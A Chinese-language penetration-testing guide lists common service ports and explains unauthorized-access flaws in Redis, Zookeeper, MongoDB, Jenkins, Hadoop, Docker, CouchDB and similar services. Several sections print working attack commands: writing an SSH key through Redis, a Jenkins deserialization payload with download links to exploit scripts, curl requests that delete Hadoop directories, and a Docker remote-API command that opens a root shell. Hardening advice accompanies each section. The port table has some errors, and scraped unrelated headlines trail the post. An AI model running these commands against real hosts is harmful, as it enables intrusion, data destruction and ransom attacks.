一、介绍

用于快速定位端口,查找开放端口脆弱点,有利于外网渗透

1.1 具体端口

端口号 使用 弱点
21 telnet
22 SSH 28退格漏洞、OpenSSL漏洞
25 SMTP协议
53 DNS服务
67&68 DHCP服务
143 IMAP协议
161 SNMP协议 DHCP劫持
1443 mssql
1521 oracle
2049 NFS服务
2181 Zookeeper ### Zookeeper未授权
2375 docker docker远程未授权
3306 mysql
3389 Windows 远程连接, Shift粘滞键后门,ms12-020
5000 DB2
5432 PostgreSQL
5900 VNC服务 拒绝服务攻击CVE-2015-5239权限提升CVE-2013-6886
6379 Redis
7001 weblogic
服务端口5000;监听端口4100;备份端口:4200 sysbase
9092 pointbase
9200 Elasticsearch ### Elasticsearch未授权
11211 memcached
27017 MongoDB

二、未授权访问漏洞

–未对测试网站进行任何改动破坏
其中包含漏洞描叙、安全建议、检查或利用工具等内容

:::success

:::

2.1 Redis未授权

Redis 默认情况下,会绑定在0.0.0.0:6379,会将Redis服务暴露到公网上,如果存在可匿名登陆访问,可以获取数据库信息和当以root身份运行前提下直接登录服务器甚至直接写入webshell。
工具:
https://github.com/caoxinyu/RedisClient
https://github.com/uglide/RedisDesktopManager



在上图的命令行下可利用Redis 写入webshell,前提条件是开了web并且知道路径才成功。Redis相关命令http://www.redis.net.cn/order/

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
生成本地服务器私钥跟公钥
#ssh-keygen –t rsa
然后将公钥写入test.txt文件,由于redis的存储
#(echo -e “\n\n”; cat id_rsa.pu; echo -e “\n\n”) > test.txt
再连接Redis写入文件
#cat test.txt | redis-cli -h xx.xx.xx.xx -x set aa
redis-cli -h 192.168.1.1
192.168.1.1:6379> config set dir /root/.ssh/
OK
192.168.1.1:6379> config set dbfilename “test”
OK
192.168.1.11:6379> save
OK

安全建议:(需要重启redis才能生效)
1、在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问redis。
2、设置访问密码
在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码。
3、修改redis服务运行账号
请以较低权限账号运行redis服务,且禁用该账号的登录权限。

2.2 Zookeeper未授权

ZooKeeper是一个开放源码的分布式应用程序协调服务,提供的功能包括:配置维护、名字服务、分布式同步、组服务等。Zookeeper默认是未授权就可以访问,特别对于公网开放的Zookeeper来说,这也导致了信息泄露的存在。通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令!
Zookeeper.py http://pan.baidu.com/s/1kVMH1Oj lvo8


安全建议:
禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

2.3 Mongodb未授权

MongoDB是一个基于分布式文件存储的数据库,Mongodb 在启动的时候提供了很多参数,如日志记录到哪个文件夹,是否开启认证等。如果没有在admin数据库中添加用户,此时不进行任何认证还是可以做任何操作(不管是否是以–auth 参数启动),直到在admin.system.users中添加了一个用户。加固的核心是只有在admin.system.users中添加用户之后,mongodb的认证,授权服务才能生效!默认空口令,它像一张白纸,需要管理员自己去写账号,使用默认空口令这将导致任何人无需进行账号认证就可以登陆到数据服务器。

工具: https://robomongo.org/download
攻击代码: https://github.com/yangbh/Hammer/blob/master/plugins/System/mongodb_unauth_access.py

安全建议:
可以修改端口和指定访问ip
在iptables配置
./mongo 127.0.0.1:27017 进入Mongo Shell

use admin
db.createUser(
{
user: “root”,
pwd: “YOUR PASSWORD”,
roles:
[
{
role: “userAdminAnyDatabase”,
db: “admin”
}
]

2.4 Elasticsearch未授权

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch未授权访问可导致ES中存储的数据被任意查看。
Elasticsearch.py http://pan.baidu.com/s/1kVMH1Oj lvo8


安全建议:
在config/elasticsearch.yml中为9200端口设置认证:
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user “admin” #账号
http.basic.password “admin_pw” #密码
http.basic.ipwhitelist [“localhost”, “127.0.0.1”] #白名单内的ip访问不需要通过账号和密码,支持ip和主机名,不支持ip区间或正则
http.basic.trusted_proxy_chains [] #信任代理列表
http.basic.log false #把无授权的访问事件添加到ES的日志
http.basic.xforward “” #记载代理路径的header字段名

2.5Jenkins未授权

Jenkins 是一款流行的软件项目管理平台,默认配置下所有人都可以访问平台上所有页面。攻击者可以利用平台中的scripts页面执行系统命令漏洞,获取服务器权限,造成服务器被入侵,从而导致数据泄露等安全事件。
jenkins.py和jenkins_payload.jar http://pan.baidu.com/s/1kVMH1Oj lvo8
测试过程

步骤一、生成序列化字符串##

编译payload所需的文件都在payload目录下,主要有如下几种文件:
· Payload.java 生成Payload的Java文件源码
· payload.jar 生成完成的Payload
· *.jar 编译/运行上述源码需要的依赖库
· Jenkins.py 将Payload发送到目标的软件
因为我已经编译好了payload.jar,所以无需编译(当然你也可以尝试编译,反正源码都在)。直接执行下面命令,生成字节码文件:
java -jar payload.jar jenkins_poc.ser “touch /tmp/success”
##########jenkins_poc.ser是生成的字节码文件名
##########"touch …"是待执行的任意命令
执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。

步骤二、发送数据包,执行命令

修改jenkins.py,一是修改其中的URL为你目标URL,二是修改FILE_SER的文件名为你刚才生成的序列化文件的文件名。
执行(我用的py3成功,py2没测试,可能有BUG):


进入docker,发现/tmp/success成功被创建,说明命令执行漏洞利用成功:


安全建议:
在Jenkins管理页面添加访问密码,建议使用十位以上数字+字母+特殊符号的强密码 ;
建议不要将管理后台开放到互联网上,您可以使用ECS安全组策略做好访问控制,默认策略为拒绝所有通信,根据业务发布情况仅开放需要对外用户提供的服务,并控制好访问源IP。

2.6Ftp未授权

由于目标开启了匿名FTP服务,匿名FTP允许任意用户通过FTP来访问开放的目录和文件。恶意攻击者可以通过匿名FTP来访问开放的文件或目录来收集信息进行下一步的攻击。



安全建议:
关闭匿名FTP或限制访问者的权限

2.7Hadoop未授权

互联网上暴露的Hadoop服务器如果没有配置访问认证均可能受影响,攻击者针对HDFS的攻击删除了大多数目录,并会添加一个名为“NODATA4U_SECUREYOURSHIT”的新目录和“PLEASE_README”的目录,攻击者可能备份业务数据后在服务器上删除这部分数据,然后直接发送勒索邮件并索要勒索赎金。
黑客可以通过命令行操作多个目录下的数据,如进行删除操作。
curl -i -X DELETE “http://ip:50070/webhdfs/v1/tmp?op=DELETE&recursive=true“
curl -i -X PUT “http://ip:50070/webhdfs/v1/NODATA4U_SECUREYOURSHIT?op=MKDIRS



安全建议:
1) 如无必要,关闭Hadoop Web管理页面;
2) 开启服务级别身份验证,如Kerberos认证;
3) 部署Knox、Nginx之类的反向代理系统,防止未经授权用户访问;
4) 设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口,
详细端口列表如下:
a)HDFS
NameNode 默认端口 50070
DataNode 默认端口 50075
httpfs 默认端口14000
journalnode 默认端口 8480
b)YARN(JobTracker)
ResourceManager 默认端口8088
JobTracker 默认端口 50030
TaskTracker 默认端口 50060
c)Hue 默认端口 8080
d)YARN(JobTracker)
master 默认端口 60010
regionserver 默认端口60030
e)hive-server2 默认端口 10000
f)spark-jdbcserver 默认端口 10003
建议按照安全最小化原则,禁止公网对这部分端口访问,如果因业务需要必须对外开放,请配置安全组策略限制指定源IP才能访问这些端口。

2.8 SOLR 未授权

Solr管理后台功能可谓强大,但是真正线上,如果管理后台地址可以公开访问的话,不但core的结构会暴漏出来,索引库甚至可以被修改或删除。


安全建议:
在apache或其他服务器上做设置,平时禁用对外的访问地址,项目访问solr的内网地址(如:http://localhost:8080/solr/collection1);平时线下调试使用本地的solr,如需要调试线上的,可以临时开打对外地址,用完再关闭.

2.9Memcache未授权

memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的。由于memcached安全设计缺陷,客户端连接memcached服务器后无需认证就可读取、修改服务器缓存内容。

nmap脚本–script memcached-info
漏洞攻击演示:http://niiconsulting.com/checkmate/2013/05/memcache-exploit/


安全建议:
1、配置memcached监听本地回环地址127.0.0.1。
[root@local ~]# vim /etc/sysconfig/memcached
OPTIONS="-l 127.0.0.1" #设置本地为监听
[root@local ~]# /etc/init.d/memcached restart #重启服务
2、当memcached 配置为监听内网IP或公网IP时, 使用主机防火墙(iptalbes、 firewalld等)和 网络防火墙对memcached服务端口 进行过滤。

2.10Rsync未授权

rsync(remote synchronize)—Linux 下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。
如果/etc/rsyncd.conf下没有以下两行配置,则可能造成匿名访问:auth users=rsync_backup
########认证的用户名,如果没有这行则表明是匿名,此用户与系统无关
secrets file = /rsync.pwd
#密码和用户名对比表,密码文件请自己生成
如果对方的配置信息为:
read only = no 【表示可以向里面写内容】 又恰巧是一个web目录的话,那我们就可以直接getshell了。

Rsync相关命令http://man.linuxde.net/rsync
Metasploit 中关于允许匿名访问的 rsync 扫描模块:auxiliary/scanner/rsync/modules_list
nmap脚本–script rsync-list-modules
有些rsync仅仅是列出目录,如果访问目录需要口令的,针对 rsync 口令暴力破解的脚本–script rsync-brute --script-args ‘rsync-brute.module=www’

安全建议:
限定访问的IP
不允许匿名访问,添加用户口令

2.11NFS未授权

NFS(Network File System):是FreeBSD支持的文件系统中的一种, 它允许网络中的计算机之间通过TCP/IP网络共享资源,不正确的配置使用NFS,会造成安全问题。
NFS的不安全性主要体现于以下4个方面:

  1. 缺少对NFS的访问控制机制;
  2. NFS没有真正的用户验证机制,而只有对RPC/Mount请求的过程验证机制 ;
  3. 较早的NFS可以使未授权用户获得有效的文件句柄
  4. 在RPC远程调用中,一个SUID的程序就具有超级用户权限.


2.12Ldap未授权

LDAP模块默认是允许用户匿名访问存储在信息目录(也就是LDAP目录)中的信息的协议,可以获取所有用户及组织结构等信息,同时远程攻击者可以利用这个漏洞不使用口令访问受此漏洞影响的运行login_ldap的系统。

Nmap脚本–script ldap-brute --script-args
ldap.base=’“cn=users,dc=cqure,dc=net”’
工具: http://download.csdn.net/detail/aq070088/5171753

安全建议:
修改匿名访问控制指令(修改anyone为all)或
升级打补丁

2.13Couch db未授权

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。
Msf添加模块:
pt-get install couchDB
modify /etc/couchdb/default.ini
bind_address = 0.0.0.0

use exploit/multi/http/couchdb_unauth_exec

安全建议:
1、指定CouchDB绑定的IP (需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。
注:修改后只有本机才能访问CouchDB。
2、设置访问密码(需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。
3、设置WWW-Authenticate,强制认证。

2.14docker远程未授权

Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署,包括VMs(虚拟机)、bare metal、OpenStack 集群和其他的基础应用平台。在默认部署的情况下,存在未授权访问的漏洞,导致攻击者可执行任意命令。如写入后门、上传木马等进而完全控制服务器,盗取网站数据,影响网站的正常运营
验证方式:打开目标页面验证是否直接访问docker数据。
docker.py http://pan.baidu.com/s/1kVMH1Oj lvo8

安装docker client:
https://www.docker.com/products/docker-toolbox
要获取交互式shell,首先获取images:
docker -H tcp://xx.xx.xx.xx:2375 images
docker -H tcp:// xx.xx.xx.xx:2375 run -it --entrypoint /bin/bash ubuntu “-h”
这里设置了entrypoint为/bin/bash。shell到手了,如下图:

安全建议:
1、2375端口禁止对外开放。
Windows:windows+r调用运行>输入secpol.msc打开安全策略>配置ip安全策略>设置2375端口禁止外网访问
Linux:配置iptables -A INPUT –p tcp --dport 2375 -i 外网网卡名 -j drop,关闭2375端口对外开放
2、使用加密协议进行传输,防止MITM攻击
3、更改网络访问控制,根据Swarm官方文档配置合理的访问规则

常用的端口及未授权访问漏洞相关推荐

  1. 常用的30+种未授权访问漏洞汇总

    未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...

  2. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  3. MongoDB未授权访问漏洞记录(端口:27017,37017)

    一.漏洞危害 对外开放的MongoDB服务,未配置访问认证授权,无需认证连接数据库后对数据库进行任意操作(增.删.改.查高危动作),存在严重的数据泄露风险. 二.漏洞成因 MongoDB服务安装后,默 ...

  4. PHP-FPM Fastcgi 未授权访问漏洞(端口9000)

    漏洞原理 Fastcgi Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道.HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组 ...

  5. docker remote api未授权访问漏洞(端口:2375)

    漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...

  6. 常见未授权访问漏洞详解

    参考文章1:二十八种未授权访问漏洞合集(CSDN) 参考文章2:28种未授权访问漏洞(知乎) 参考文章3:未授权访问漏洞总结(freebuf) 参考文章4:常见未授权访问漏洞总结(先知社区) 文章目录 ...

  7. 【应急类漏洞】————1、未授权访问漏洞总结

    前言 2018年5月,比特币勒索病毒 WannaCry 席卷全球,国内众多机构部门计算机系统瘫痪.根据之前应急响应的案例分析,以及一些安全报告统计,目前大部分的勒索病毒均利用未授权访问等通用漏洞进行植 ...

  8. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  9. UCloud-201809-001:Redis服务未授权访问漏洞安全预警

    UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间  2018-09-11 更新时间  2018-09-11 漏洞等级  High CV ...

最新文章

  1. 【PC工具】chrome插件: Github 项目代码树形格式展示工具octotree
  2. Jenkins忘记admin密码处理方法
  3. linux mysql数据库定时备份
  4. pow(x,n) leecode
  5. 互联网日报 | 4月20日 星期二 | 华为正式宣布卖车;携程在港交所挂牌上市;广州期货交易所正式揭牌...
  6. 中国“新基建”7大产业链全景图!(附500家企业超全名单!)
  7. 区块链软件公司:你的区块链交易真的是匿名吗?
  8. Master Reactor Manager Worker TaskWorker(Task)
  9. 逆向分析CrackMe系列——CrackMe001
  10. 数据分析-信用卡反欺诈模型
  11. 在线教育项目(六)之讲师功能实现
  12. ai中如何插入签名_怎么将CAD中插入图片的多余部分抠掉?如何设置透明效果?...
  13. IM开发干货分享:网易云信IM客户端的聊天消息全文检索技术实践
  14. CSS里的 no-repeat 是什么意思
  15. keras.metrics有五种accuracy
  16. 电容的工作原理、分类选择与应用
  17. word论文排版和写作06:审阅和修改文章
  18. krait和kryo_各种Java序列化性能比较
  19. 讲清MVC、MVP、MVVM,看这一篇文章就够了
  20. unsigned在c语言中的作用,c语言中unsigned char的意义何在

热门文章

  1. 全球首架国产C919正式交付东航;无锡多宁生产基地投产 | 美通企业日报
  2. 如何按文件类型分类保存到各个目录文件夹
  3. cam是计算机应用中的一种其含义是,CAM是计算机应用领域中的一种,其含义是()。...
  4. tomcat卸载重装_apache tomcat 彻底卸载
  5. shell开启飞行模式_提醒丨用了这么多年手机才知道,飞行模式还藏着这6个功能...
  6. 精典算法之详解 河内之塔
  7. linux中如何升级python版本号,linux的python版本升级
  8. 【181113】C++ 实现可控的3D旋转立方体源代码
  9. emacs阅读linux代码,Emacs - 代码编辑神器之一
  10. 北京交大计算机类铁路信息,我校与北京交通大学共建铁路信息技术工程实验室...